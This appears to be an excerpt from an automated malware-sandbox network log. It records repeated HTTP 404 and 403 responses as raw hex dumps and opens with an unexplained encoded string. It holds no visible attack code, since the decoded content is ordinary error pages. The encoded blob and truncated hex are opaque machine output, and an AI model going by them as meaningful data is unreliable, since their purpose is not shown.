bFGXGTdX=7v38maCPW6ubDHO+K7lDCrIuoGcDx85hmJma6OYOlMKHUAupYNjoDRPngu47QiYmdqy4auZrIRNzp6sBZmkBLtHLI6IXBVUUUqrgQc1GXKZlX5p9XmTDfAKfF55YRFupH4ndS1ix7JG84Q0lcAvCJ97AJeM/Wrny7O2gxtm2kXHZILmMfGhbumpvfR4s

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 11 Sep 2024 20:03:05 GMTServer: ApacheContent-Length: 16026Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 74 77 69 74 74 65 72 2d 62 6f 6f 74 73 74 72 61 70 2f 34 2e 31 2e 33 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 63 73 73 27 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 61 6d 62 75 72 67 65 72 2d 6d 65 6e 75 22 3e 0a 20 20 3c 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 22 62 75 72 67 65 72 22 20 64 61 74 61 2d 73 74 61 74 65 3d 22 63 6c 6f 73 65 64 22 3e 0a 20 20 20 20 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 0a 20 20 3c 2f 62 75 74 74 6f 6e 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 6d 61 69 6e 3e 0a 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 22 3e 0a 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 6d 64 2d 36 20 61 6c 69 67 6e 2d 73 65 6c 66 2d 63 65 6e 74 65 72 22 3e 0a 20 20 20 20 20 20 20 20 3c 73 76 67 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 0a 20 20 20 20 20 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 38 30 30 20 36 30 30 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 67 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 65 66 73 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 63 6c 69 70 50 61 74 68 20 69 64 3d 22 47 6c 61 73 73 43 6c 69 70 22 3e 0a 20 20 20 20 20 20 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 11 Sep 2024 20:03:08 GMTServer: ApacheContent-Length: 16026Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 74 77 69 74 74 65 72 2d 62 6f 6f 74 73 74 72 61 70 2f 34 2e 31 2e 33 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 63 73 73 27 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 61 6d 62 75 72 67 65 72 2d 6d 65 6e 75 22 3e 0a 20 20 3c 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 22 62 75 72 67 65 72 22 20 64 61 74 61 2d 73 74 61 74 65 3d 22 63 6c 6f 73 65 64 22 3e 0a 20 20 20 20 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 0a 20 20 3c 2f 62 75 74 74 6f 6e 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 6d 61 69 6e 3e 0a 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 22 3e 0a 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 6d 64 2d 36 20 61 6c 69 67 6e 2d 73 65 6c 66 2d 63 65 6e 74 65 72 22 3e 0a 20 20 20 20 20 20 20 20 3c 73 76 67 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 0a 20 20 20 20 20 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 38 30 30 20 36 30 30 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 67 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 65 66 73 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 63 6c 69 70 50 61 74 68 20 69 64 3d 22 47 6c 61 73 73 43 6c 69 70 22 3e 0a 20 20 20 20 20 20 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 11 Sep 2024 20:03:10 GMTServer: ApacheContent-Length: 16026Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 74 77 69 74 74 65 72 2d 62 6f 6f 74 73 74 72 61 70 2f 34 2e 31 2e 33 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 63 73 73 27 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 61 6d 62 75 72 67 65 72 2d 6d 65 6e 75 22 3e 0a 20 20 3c 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 22 62 75 72 67 65 72 22 20 64 61 74 61 2d 73 74 61 74 65 3d 22 63 6c 6f 73 65 64 22 3e 0a 20 20 20 20 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 0a 20 20 3c 2f 62 75 74 74 6f 6e 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 6d 61 69 6e 3e 0a 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 22 3e 0a 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 6d 64 2d 36 20 61 6c 69 67 6e 2d 73 65 6c 66 2d 63 65 6e 74 65 72 22 3e 0a 20 20 20 20 20 20 20 20 3c 73 76 67 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 0a 20 20 20 20 20 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 38 30 30 20 36 30 30 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 67 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 65 66 73 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 63 6c 69 70 50 61 74 68 20 69 64 3d 22 47 6c 61 73 73 43 6c 69 70 22 3e 0a 20 20 20 20 20 20 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 11 Sep 2024 20:03:13 GMTServer: ApacheContent-Length: 16026Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 74 77 69 74 74 65 72 2d 62 6f 6f 74 73 74 72 61 70 2f 34 2e 31 2e 33 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 63 73 73 27 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 61 6d 62 75 72 67 65 72 2d 6d 65 6e 75 22 3e 0a 20 20 3c 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 22 62 75 72 67 65 72 22 20 64 61 74 61 2d 73 74 61 74 65 3d 22 63 6c 6f 73 65 64 22 3e 0a 20 20 20 20 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 0a 20 20 3c 2f 62 75 74 74 6f 6e 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 6d 61 69 6e 3e 0a 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 22 3e 0a 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 6d 64 2d 36 20 61 6c 69 67 6e 2d 73 65 6c 66 2d 63 65 6e 74 65 72 22 3e 0a 20 20 20 20 20 20 20 20 3c 73 76 67 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 0a 20 20 20 20 20 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 38 30 30 20 36 30 30 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 67 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 65 66 73 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 63 6c 69 70 50 61 74 68 20 69 64 3d 22 47 6c 61 73 73 43 6c 69 70 22 3e 0a 20 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbiddencontent-length: 93cache-control: no-cachecontent-type: text/htmlconnection: closeData Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbiddencontent-length: 93cache-control: no-cachecontent-type: text/htmlconnection: closeData Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbiddencontent-length: 93cache-control: no-cachecontent-type: text/htmlconnection: closeData Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbiddencontent-length: 93cache-control: no-cachecontent-type: text/htmlconnection: closeData Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 11 Sep 2024 20:05:05 GMTServer: ApacheX-Powered-By: PHP/8.1.29Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <http://aceautocorp.com/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-EncodingContent-Encoding: brContent-Length: 10066Content-Type: text/html; charset=UTF-8Data Raw: 13 7f d0 14 91 9a f4 43 40 45 60 dc c4 c7 3a cf f7 ff 7b 53 fb 6f fb e7 eb 46 39 8d 45 0a 18 d0 b2 55 6e 3b e9 2c 99 65 4b 3b 6f 49 72 f2 b0 84 6c a6 b2 d0 01 bc e4 69 f4 f7 fe b2 de 9f 0d 7c c6 10 d8 91 43 e0 59 c9 9c 01 71 38 ff 9c 73 ef fd 7e d0 5d f5 5a 1a 95 5b 54 ee 19 8d 5d 1a cd 07 69 60 97 ef 3d 17 de eb d7 af 5b fc 57 8b 0c 59 60 c4 24 71 12 6b 8c 3d bb 26 0a 1d a4 2e 07 51 e2 c7 50 6d b6 9f 74 df 20 22 a2 22 6a d2 ee 35 5c c7 47 2d f2 11 31 b6 59 f8 61 32 54 33 19 db e9 8f 04 4e 2c 23 85 4a f0 7d 8b c3 2c b9 f7 95 58 4f 50 d4 9a 69 fb 18 9a ed e1 66 a8 e9 09 e9 83 ef a2 04 0c 6d 96 5c 03 26 9d ba 0e d4 30 c1 c1 3c cd a2 28 db 47 ea 20 d9 e5 5e 62 b8 94 94 42 40 0b 9d 83 a2 ad 0e 77 18 43 6c 29 75 1b 35 c7 a5 3f c5 ab d4 1f 71 ab 97 a9 d5 41 5e ce 81 31 44 c6 58 c6 65 3c e3 95 67 8a 2f b0 6f 17 0c c6 03 bb 22 90 dd 3b e6 bc 82 8f 8d 82 8f 47 6f 20 75 b4 b3 9e dd df f2 5d af 87 af 60 55 5f af da c1 61 be 1c 9d f2 cd 7e 75 e2 86 f3 ac d7 b2 51 f7 9b b0 61 c7 09 1e 14 9a f2 58 21 e0 68 dc 08 72 e9 9a b3 0c 1d 29 64 ce 0b 82 ef 94 6a cd d1 5c c8 d1 5a 3c fe b9 ad 83 f0 45 61 db b5 23 44 8a 8f 41 91 38 41 cd f0 66 29 70 8f ef e5 3c aa 83 f9 5b 3f 28 ef f5 b0 73 50 c3 14 48 e8 f8 17 db d7 0b 47 74 e5 d3 fa 69 ed e8 79 e2 4e ed 69 02 4c f6 b4 ce a4 8d a7 35 82 e7 f1 b4 e6 09 65 34 7a 5a 67 e2 92 89 a7 75 80 03 75 f1 41 19 e4 8e 6b 40 80 03 77 da e1 1c 75 a7 dd cb 0e 77 da 7d fb fe 46 77 7a bf 39 da 46 1d 61 0a 1a 33 34 d2 7b 15 61 e0 13 c7 8e ad cb c4 79 24 f9 f5 15 8d bf 9d 23 fa 4c 49 c6 4f 69 45 f5 c8 27 65 eb 94 a6 54 04 f3 5c 2d d7 b7 57 a7 58 c0 a9 43 2d d0 0e 30 a7 a4 44 df 5f b5 70 bb 5e 5e cd d5 d9 11 6a 3c 14 4c fb 18 ec b0 aa f6 bd 0f 9a 50 8d 7a fb ba 7f dc d7 53 36 3e c6 67 e5 bc 2b 15 2e f4 eb 65 d1 2a ee 28 e0 f3 3f aa df ba 10 cd 95 53 ce 69 33 3c 78 63 e5 4e 51 a7 fc bd 57 87 d0 e0 e2 36 a1 45 e4 de ba 7b 0d 3d 42 9a cb 67 14 9a e6 99 84 8d 63 86 3d 79 0d 45 8b 9a 27 f1 a7 6a 7c c8 30 c3 8a 36 72 38 49 47 73 b8 72 12 27 b9 7a 12 08 2b da e9 be ff ac 2e 3e f4 98 61 56 97 64 be a6 f4 81 bf e8 c1 47 e2 a3 b5 f2 35 54 74 a7 7c 71 79 96 3f 49 2f d1 c7 74 1e de 25 85 b0 ad 43 ba 5e 39 f4 05 a6 48 d5 0a 0d 4f 8b 7f 73 12 cf 84 c2 be 96 fa b5 80 aa eb da 3e fa e7 19 31 f9 35 47 2a b6 0f 1f 7a 34 35 d2 a9 a0 42 19 0e 4a cf 80 ea c5 06 4f c7 36 8f 9a a7 63 db 75 d1 d3 b1 53 ac 7b 3a 0a c6 da a7 a3 48 65 e6 5a 2d 00 fd ea db cb 81 de 5f f1 f2 0a f5 da b6 93 7f 2f 19 05 bb 09 91 0e 74 7c e8 e6 e6 fa f6 Data Ascii: C@E`:{SoF9EUn;,eK;oIrli\|CYq8s~]Z[T]i`=
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 11 Sep 2024 20:05:07 GMTServer: ApacheX-Powered-By: PHP/8.1.29Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <http://aceautocorp.com/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-EncodingContent-Encoding: brContent-Length: 10066Content-Type: text/html; charset=UTF-8Data Raw: 13 7f d0 14 91 9a f4 43 40 45 60 dc c4 c7 3a cf f7 ff 7b 53 fb 6f fb e7 eb 46 39 8d 45 0a 18 d0 b2 55 6e 3b e9 2c 99 65 4b 3b 6f 49 72 f2 b0 84 6c a6 b2 d0 01 bc e4 69 f4 f7 fe b2 de 9f 0d 7c c6 10 d8 91 43 e0 59 c9 9c 01 71 38 ff 9c 73 ef fd 7e d0 5d f5 5a 1a 95 5b 54 ee 19 8d 5d 1a cd 07 69 60 97 ef 3d 17 de eb d7 af 5b fc 57 8b 0c 59 60 c4 24 71 12 6b 8c 3d bb 26 0a 1d a4 2e 07 51 e2 c7 50 6d b6 9f 74 df 20 22 a2 22 6a d2 ee 35 5c c7 47 2d f2 11 31 b6 59 f8 61 32 54 33 19 db e9 8f 04 4e 2c 23 85 4a f0 7d 8b c3 2c b9 f7 95 58 4f 50 d4 9a 69 fb 18 9a ed e1 66 a8 e9 09 e9 83 ef a2 04 0c 6d 96 5c 03 26 9d ba 0e d4 30 c1 c1 3c cd a2 28 db 47 ea 20 d9 e5 5e 62 b8 94 94 42 40 0b 9d 83 a2 ad 0e 77 18 43 6c 29 75 1b 35 c7 a5 3f c5 ab d4 1f 71 ab 97 a9 d5 41 5e ce 81 31 44 c6 58 c6 65 3c e3 95 67 8a 2f b0 6f 17 0c c6 03 bb 22 90 dd 3b e6 bc 82 8f 8d 82 8f 47 6f 20 75 b4 b3 9e dd df f2 5d af 87 af 60 55 5f af da c1 61 be 1c 9d f2 cd 7e 75 e2 86 f3 ac d7 b2 51 f7 9b b0 61 c7 09 1e 14 9a f2 58 21 e0 68 dc 08 72 e9 9a b3 0c 1d 29 64 ce 0b 82 ef 94 6a cd d1 5c c8 d1 5a 3c fe b9 ad 83 f0 45 61 db b5 23 44 8a 8f 41 91 38 41 cd f0 66 29 70 8f ef e5 3c aa 83 f9 5b 3f 28 ef f5 b0 73 50 c3 14 48 e8 f8 17 db d7 0b 47 74 e5 d3 fa 69 ed e8 79 e2 4e ed 69 02 4c f6 b4 ce a4 8d a7 35 82 e7 f1 b4 e6 09 65 34 7a 5a 67 e2 92 89 a7 75 80 03 75 f1 41 19 e4 8e 6b 40 80 03 77 da e1 1c 75 a7 dd cb 0e 77 da 7d fb fe 46 77 7a bf 39 da 46 1d 61 0a 1a 33 34 d2 7b 15 61 e0 13 c7 8e ad cb c4 79 24 f9 f5 15 8d bf 9d 23 fa 4c 49 c6 4f 69 45 f5 c8 27 65 eb 94 a6 54 04 f3 5c 2d d7 b7 57 a7 58 c0 a9 43 2d d0 0e 30 a7 a4 44 df 5f b5 70 bb 5e 5e cd d5 d9 11 6a 3c 14 4c fb 18 ec b0 aa f6 bd 0f 9a 50 8d 7a fb ba 7f dc d7 53 36 3e c6 67 e5 bc 2b 15 2e f4 eb 65 d1 2a ee 28 e0 f3 3f aa df ba 10 cd 95 53 ce 69 33 3c 78 63 e5 4e 51 a7 fc bd 57 87 d0 e0 e2 36 a1 45 e4 de ba 7b 0d 3d 42 9a cb 67 14 9a e6 99 84 8d 63 86 3d 79 0d 45 8b 9a 27 f1 a7 6a 7c c8 30 c3 8a 36 72 38 49 47 73 b8 72 12 27 b9 7a 12 08 2b da e9 be ff ac 2e 3e f4 98 61 56 97 64 be a6 f4 81 bf e8 c1 47 e2 